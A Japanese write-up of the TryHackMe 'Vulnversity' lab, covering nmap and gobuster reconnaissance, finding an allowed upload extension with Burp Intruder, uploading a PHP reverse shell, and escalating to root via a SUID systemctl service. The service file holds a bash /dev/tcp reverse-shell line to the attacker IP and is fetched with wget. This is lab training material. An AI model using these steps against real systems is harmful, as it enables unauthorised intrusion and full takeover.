フラグ獲得までTryHack "Vulnversity"
"Offensive Pentesting"というLearningPathでチュートリアル後の1つ目サーバが”Vulnversity”になっている。TryHackMeのナビゲーションに進め方を示してくれているものの、特権昇格あたりは難しかった。フラグ獲得までの道筋を備忘録、WriteUp的な感じで記事にする。
対象サーバ
Title:Vulnversity
IPaddress:10.10.228.145→(サーバ再起動)→10.10.25.155
攻撃サーバ
OS:Kali Linux
IPaddress:10.18.75.186
Task1:Reconnaissance
nmap
対象マシンがどのポートでサービスを提供しているのかを把握するためのコマンド。
一般的にポートスキャナとして幅広く利用されているのがこのnmapである。
ポートスキャンとは、対象として指定したホストに対してポート番号を変えながらIPパケットを送信し、その反応を調べることでどのポートが外部からアクセス可能なのかを調査する行為
https://knowledge.sakura.ad.jp/97/
※他社が管理しているサーバにポートスキャンを行うことは不正アクセスに該当するため注意
nmap実行例
nmap -sV 10.10.228.145
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-24 10:56 EDT
Nmap scan report for 10.10.228.145
Host is up (0.26s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.24 seconds
オプション説明
-sV:サービスのバージョン検出
開いているポートは21,22,139,445,3128,3333の6つで、Ubuntuが動作しているようだ。
3333番ポートでWebサーバが動作しているため、次はWebサーバについて調べる。
おすすめサイト
(https://at-virtual.net/セキュリティ/nampスキャンの全コマンド・オプションを日本語解/)
Task2:Locating directories using GoBuster
gobuster
wordlistを使ってウェブサイトのディレクトリを総当たりでアクセスし、アクセス可能なディレクトリを見つけ出す。いわゆるブルートフォースツールである。
上記のGUI版としてdirbusterというサービスもある。
gobuster実行例
gobuster dir -u http://10.10.228.145:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.228.145:3333
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/24 11:17:16 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 322] [--> http://10.10.228.145:3333/images/]
/css (Status: 301) [Size: 319] [--> http://10.10.228.145:3333/css/]
/js (Status: 301) [Size: 318] [--> http://10.10.228.145:3333/js/]
/fonts (Status: 301) [Size: 321] [--> http://10.10.228.145:3333/fonts/]
/internal (Status: 301) [Size: 324] [--> http://10.10.228.145:3333/internal/]
Progress: 36769 / 87665 (41.94%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/08/24 11:33:58 Finished
===============================================================
オプションの説明
-u:対象のURL
-w:wordlistの指定
探索途中41.94%で停止させたが、現時点で以下の5つの隠しディレクトリが見つかった。
/images/
/css/
/js/
/fonts/
/internal/
実際にアクセスをしてみると、/internal/はファイルをアップロードするフォームになっていることがわかった。
適当にa.txtをアップロードしてみたところ"Extension not allowed"と表示されアップロードに失敗してしまう。次は、アップロード可能な拡張子を調べ、Webサーバに侵入するためにペイロードをアップロードして実行してWebサーバ内に侵入する。
Task3:Compromise the webserver
BurpSuite
パソコンのブラウザまたはアプリケーションからサーバーにアクセスしたときのインターネットの情報を、ローカルプロキシを通して視覚的に通信内容を確認することができるツール。
今回はBurpSuiteを使って、色んな拡張子のファイルのアップロードを試みて、アップロードできる拡張子を見つける。
まずは、BurpSuiteを起動してProxyタブを開く。
Intercept is onにしてファイルをアップロードするページを再度開いてa.txtをアップロードしてみる。すると、BurpSuite側でリクエスト内容が傍受されて盗み見ることができる。
次は、Intruderタブを開いて、色んな拡張子のファイルのアップロードを試みる。
ターゲットのホストとポートを指定する
Payload Positionsにリクエスト内容を記載する。今回はアップロードするファイルの拡張子を色んなパターンで試すので、拡張子の部分を変数にする。
Payload Optionに拡張子のパターンを追加する。
これで準備完了。あとは右上のStart attackを実行するだけ。
実行した結果このようにすべてのStatusが200となっているが、Lengthが1つだけ異なるものがある。この.phtmlファイルがアップロードできるみたいである。
次は、.phtmlファイルのPHPリバースシェルをアップロードして、シェルを取得を目指す。
Reverse Shell
以下のリンクにPHPリバースシェルのソースコードがあるので、ダウンロードする。
ソースコードのIPとPORTを自身の攻撃PC用に書き換え、ファイル名もthm.phtmlと書き換えておく。このthm.phtmlを対象サーバの/internal/からアップロードしておく。nc(netcat)
networkをcatenate(連結)するという意味で、クライアントとサーバ間に入って繋ぐコマンド。万能ツールとして知られ、TELNETやFTP的な使い方もできる。
今回は、ncコマンドを使ってサーバからリバースシェルを待ち受ける。
└─$ nc -nlvp 1234
listening on [any] 1234 ...
ブラウザで以下にアクセスすると、リバースシェルが実行される。
http://10.10.25.155:3333/internal/uploads/thm.phtml
─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.18.75.186] from (UNKNOWN) [10.10.25.155] 50200
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:06:43 up 1:12, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
ncコマンドがリバースシェルを受けて、ついにローカル権限でシェルを取得できた。これでUser flagは獲得できる。
最後はRoot権限に昇格してルートフラグを見つけるだけ。
Task4:Privilege Escalation
SUIDの脆弱性をついて特権昇格を目指す。
下記コマンドでSUID権限がついているファイルを探索する。
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
/sbin/mount.cifs
/bin/systemctlにSUIDを持っていることがわかった。実はsystemctlを使って特権昇格ができるとのことで以下リンクを読む。
攻撃側でroot.serviceを作成して、以下のように記述する。
[Unit]
Description=root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.18.75.186/1234 0>&1'
[Install]
WantedBy=nulti-user.target
攻撃サーバ側で簡単なWebサーバを起動しておく。
└─$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.25.155 - - [25/Aug/2022 10:41:33] "GET /root.service HTTP/1.1" 200 -
一方、シェルを奪取したサーバで下記コマンドを実行して、root.serviceを取得しておく。
$ cd /tmp
$ wget http://10.18.75.186/root.service
--2022-08-25 10:41:33-- http://10.18.75.186/root.service
Connecting to 10.18.75.186:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 165 [application/octet-stream]
Saving to: 'root.service'
0K 100% 35.4M=0s
2022-08-25 10:41:33 (35.4 MB/s) - 'root.service' saved [165/165]
再度攻撃サーバでncコマンドを実行してリバースシェルを待ち受ける。
─$ nc -nlvp 1234
listening on [any] 1234 ...
対象サーバに戻り、取得したroot.serviceを起動する。
$ systemctl enable /tmp/root.service
Created symlink from /etc/systemd/system/nulti-user.target.wants/root.service to /tmp/root.service.
Created symlink from /etc/systemd/system/root.service to /tmp/root.service.
$ systemctl start root.service
そうするとroot.serviceに記述したリバースシェルが実行され、攻撃サーバでroot権限を持ったシェルが取得できる。
─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.18.75.186] from (UNKNOWN) [10.10.25.155] 50232
bash: cannot set terminal process group (2055): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnuniversity:/# whoami
whoami
root
root@vulnuniversity:/#
ついにROOT権限を取得できました。
最後のフラグは/root/root.txtにあるので、ファイルを開けばフラグ獲得!!
Discussion